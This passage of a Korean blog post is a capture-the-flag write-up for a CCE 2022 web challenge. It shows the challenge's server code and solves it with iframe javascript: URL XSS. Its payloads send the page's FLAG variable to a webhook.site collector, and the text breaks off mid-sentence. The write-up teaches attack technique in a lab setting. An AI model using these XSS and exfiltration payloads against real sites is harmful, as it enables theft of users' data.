@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ public 서버(app 폴더) lib.js 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;public 서버(app 폴더)의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;lib.js 파일에는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;saveArchive 함수&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가 정의되어 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664966089722&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// app 폴더 &amp;gt; lib.js

const crypto = require('crypto');
const fs = require('fs');
const moment = require('moment');
const puppeteer = require('puppeteer');

const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`
const config = require('./config');

async function saveArchive(url) {
    const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');
    const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;
    if (!fs.existsSync(archive_dir))
        fs.mkdirSync(archive_dir);

    const timestamp = moment().format('YYYYMMDDHHmmssSSS');
    const archive_path = `${archive_dir}/${timestamp}.${config.ARCHIVE_EXT}`;
    const browser = await puppeteer.launch({
        executablePath: './chrome/chrome',
        ignoreDefaultArgs: true,
        args: [
            '--headless',
            '--diable-gpu',
            '--disable-dev-shm-usage',
            '--ignore-certificate-errors',
            '--hide-scrollbars',
            '--window-size=1280,720',
            &quot;--js-flags=--noexpose_wasm,--jitless&quot;
        ],
    });
    const page = await browser.newPage();
    await page.goto(sandbox_url + url, { timeout: 3000 });
    await new Promise(resolve =&amp;gt; setTimeout(resolve, 3000));
    await page.screenshot({
        fullPage: true,
        path: archive_path,
    });
    await browser.close();
}

module.exports = { saveArchive };&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;saveArchive 함수의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내용을 보면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;아래와 같이&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;동작하고 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;saveArchive 함수 동작:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. url 파라미터에 대한 저장소(archive) 생성&lt;/b&gt;&lt;br /&gt;- const hash = crypto.createHmac('sha256', config.SECRET).update(url).digest('hex');&lt;br /&gt;&amp;nbsp; const archive_dir = `${config.ARCHIVE_DIR}/${hash}`;&lt;br /&gt;&lt;b&gt;&amp;nbsp; if (!fs.existsSync(archive_dir))&amp;nbsp; fs.mkdirSync(archive_dir);&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;2. public 서버에서 웹 브라우저 실행&lt;/b&gt;&lt;br /&gt;- const page = await browser.newPage();&lt;br /&gt;&lt;br /&gt;&lt;b&gt;3. 실행한 웹 브라우저에서 url로 접속&lt;/b&gt;&lt;br /&gt;- const sandbox_url = `http://sandbox.bluearchive.kr:${process.env.PORT}/?url=`&lt;br /&gt;&lt;b&gt;- await page.goto(sandbox_url + url, { timeout: 3000 });&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;4. 접속한 후 웹 브라우저 스크린샷을 저장소에 저장&lt;/b&gt;&lt;br /&gt;- await page.screenshot({&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fullPage: true,&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;path: archive_path,&lt;br /&gt;&amp;nbsp; &amp;nbsp;});&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 파일에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;두 가지 힌트를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;힌트&lt;br /&gt;1. public 서버가 웹 브라우저를 실행&lt;br /&gt;2. public 서버가 접속하는 url&lt;br /&gt;&lt;/b&gt;- url = &lt;u&gt;&lt;b&gt;`http://sandbox.bluearchive.kr:${process.env.PORT}/?url=` + 입력값&lt;/b&gt;&lt;/u&gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ internal 서버(sandbox 폴더) index.js 파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이제 FLAG가 있는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;internal 서버의 index.js 파일&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1664966089725&quot; class=&quot;typescript&quot; data-ke-language=&quot;typescript&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;// sandbox 폴더 &amp;gt; index.js

const express = require('express')
const { encode } = require(&quot;html-entities&quot;);

const app = express()

app.get('/', function (req, res) {
    data = `&amp;lt;html&amp;gt;
&amp;lt;head&amp;gt;&amp;lt;title&amp;gt;sandbox&amp;lt;/title&amp;gt;&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;script&amp;gt;
FLAG = &quot;cce2022{this_is_not_real_flag}&quot;
&amp;lt;/script&amp;gt;
&amp;lt;iframe src=&quot;${encode(req.query.url)}&quot; style=&quot;width: 100%; height: 100%; border: 0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;`
    res.setHeader(&quot;Content-Type&quot;,&quot;text/html&quot;).send(data);
})

app.listen(process.env.PORT);&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;internal 서버 동작은&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;간단합니다.&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;internal 서버 동작:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. FLAG는 javascript의 FLAG 변수에 저장&lt;/b&gt;&lt;br /&gt;- &amp;lt;script&amp;gt;&amp;nbsp; FLAG = &quot;cce2022{this_is_not_real_flag}&quot;&amp;nbsp; &amp;lt;/script&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 전달 받은 URL 페이지 로드&lt;/b&gt;&lt;br /&gt;- &amp;lt;iframe src=&quot;${encode(req.query.url)}&quot; style=&quot;width: 100%; height: 100%; border: 0&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;위의 내용으로 보아&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;iframe에 입력되는&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;url 파라미터를 조작하여&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;javascript의&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;FLAG 값을&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;얻어야 한다&lt;/b&gt;&lt;/u&gt;고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;생각했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ docker-compose.yml&amp;nbsp;파일&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;docker-compose.yml 파일에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 서버의&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;주소와 PORT 번호를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얻을 수 있습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre id=&quot;code_1665032386175&quot; class=&quot;python&quot; data-ke-language=&quot;python&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;version: '3'

services:
  blue_archive:
    build:
      context: .
      args:
        PORT: 31337
        SECRET: REDACTED
        ARCHIVE_DIR: /var/tmp/blue_archive
        ARCHIVE_EXT: jpg
    ports: 
      - &quot;31337:31337&quot;
    links:
      - sandbox.bluearchive.kr
    cap_add:
      - SYS_ADMIN
  sandbox.bluearchive.kr:
    build:
      context: .
      dockerfile: ./sandbox/Dockerfile
    environment:
      PORT: 31337&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 서버: sandbox.bluearchive.kr&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;내부 서버 PORT: 31337&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;font-size: 35px; border: 4px solid #777777; padding: 55px 10px 1px; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;# 풀이&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번 문제는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;필터링 우회보다는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;iframe 태그에서&lt;/b&gt;&lt;/u&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;u&gt;&lt;b&gt;XSS 를 발생&lt;/b&gt;&lt;/u&gt;시키는 게&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;중요한 문제였습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;문제 풀이 순서:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;1. iframe 태그에서 XSS 확인&lt;/b&gt;&lt;br /&gt;- &amp;lt;iframe src=&quot;javascript:alert(parent.FLAG);&quot; &amp;gt;&amp;lt;/iframe&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. 값을 받을 수집 서버 구동&lt;br /&gt;&lt;/b&gt;- webhook.site 사용&lt;b&gt;&lt;br /&gt;&lt;br /&gt;3. internal 서버에서 FLAG 값을 수집 서버로 전송&lt;br /&gt;&lt;/b&gt;- javascript:location.href=&quot;https://webhook.site/{hash:XXX}/?FLAG=parent.FLAG&quot;;&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ iframe XSS&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;iframe 태그의 src 속성에서는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS 공격이 가능합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;910&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/wXt3p/btrNWrI9PpV/YQ9iHFgd18OImYN67AE9kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/wXt3p/btrNWrI9PpV/YQ9iHFgd18OImYN67AE9kK/img.png&quot; data-alt=&quot;url=javascsript:alert(window.parent.document.body.innerHTML)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/wXt3p/btrNWrI9PpV/YQ9iHFgd18OImYN67AE9kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FwXt3p%2FbtrNWrI9PpV%2FYQ9iHFgd18OImYN67AE9kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;237&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;910&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;url=javascsript:alert(window.parent.document.body.innerHTML)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;&lt;b&gt;테스트 방법:&lt;br /&gt;1. 제공된 docker-compse.yml 파일 변경&lt;br /&gt;&lt;/b&gt;- internal 서버(sandbox.bluearchive.kr) PORT 변경 및 외부 PORT 바인딩&lt;br /&gt;&amp;nbsp; environment:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; # PORT: 31337&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; PORT: 31330&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; ports:&lt;br /&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;- &quot;31330:31330&quot;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;2. Payload 입력&lt;/b&gt;&lt;br /&gt;- url=javascsript:alert(window.parent.document.body.innerHTML)&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ 수집 서버 구동(webhook.site)&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG 값을 받을&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수집 서버를 구동합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;별도로 구축하는 방법도 있으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이번에 알게된&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;webhook.site 를 사용했습니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;915&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lwUIP/btrNT8cv3uD/SZCKYlaSZtebydKT6YOhZ1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lwUIP/btrNT8cv3uD/SZCKYlaSZtebydKT6YOhZ1/img.png&quot; data-alt=&quot;접속하면 고유 페이지가 생성됩니다.&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lwUIP/btrNT8cv3uD/SZCKYlaSZtebydKT6YOhZ1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlwUIP%2FbtrNT8cv3uD%2FSZCKYlaSZtebydKT6YOhZ1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;238&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;915&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;접속하면 고유 페이지가 생성됩니다.&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ Payload 작성 및 실행&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수집 서버까지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;준비되었으면,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Payload를 생성하여&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;public 서버에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;입력합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;blockquote data-ke-style=&quot;style3&quot;&gt;Payload:&lt;br /&gt;- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=&quot;https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=&quot;.concat(parent.FLAG);&lt;br /&gt;- http://sandbox.bluearchive.kr:31337/?url=javascript:location.href=%22https://webhook.site/e7df4f92-a72a-4f0b-a29c-920865bb5c45?flag=%22.concat(parent.FLAG);&lt;/blockquote&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/qjHiM/btrNVlJojhq/Zp1mLdijoVYB0mS6ujI5y0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/qjHiM/btrNVlJojhq/Zp1mLdijoVYB0mS6ujI5y0/img.png&quot; data-alt=&quot;Payload 입력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/qjHiM/btrNVlJojhq/Zp1mLdijoVYB0mS6ujI5y0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FqjHiM%2FbtrNVlJojhq%2FZp1mLdijoVYB0mS6ujI5y0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;500&quot; height=&quot;375&quot; data-filename=&quot;1.png&quot; data-origin-width=&quot;1920&quot; data-origin-height=&quot;1440&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;Payload 입력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div class=&quot;bodyAdsense&quot; style=&quot;text-align: center;&quot;&gt;
&lt;style type=&quot;text/css&quot;&gt;
.contentsadsense {
display: inline-block;
width: 85%;
height: 280px;
}
@media (min-width:680px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 85%;
height: 250px;
}
}
@media (min-width:783px) {
.bodyAdsense .contentsadsense {
display: inline-block;
width: 730px;
height: 280px;
}
}
&lt;/style&gt;
&lt;span&gt;
  &lt;ins class=&quot;adsbygoogle contentsadsense&quot; data-ad-client=&quot;ca-pub-3404419172696964&quot; data-ad-slot=&quot;8663946782&quot; data-ad-layout=&quot;in-article&quot; data-ad-format=&quot;fluid&quot; data-language=&quot;ko&quot;&gt;&lt;/ins&gt;
  &lt;script&gt; window.adsbygoogle.push({}); &lt;/script&gt;
&lt;/span&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;padding: 55px 10px 1px; border: solid rgba(0, 0, 0, 0.3);&quot; data-ke-size=&quot;size23&quot;&gt;&lt;b&gt;+ FLAG 확인&lt;/b&gt;&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;화면에 출력하지는&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;않았기 때문에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;View&amp;nbsp; Archive를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이미지를 확인해도&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;FLAG를&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;얻을 수는 없으나&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;XSS를 통해&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;접속을 유도한&lt;/p&gt;
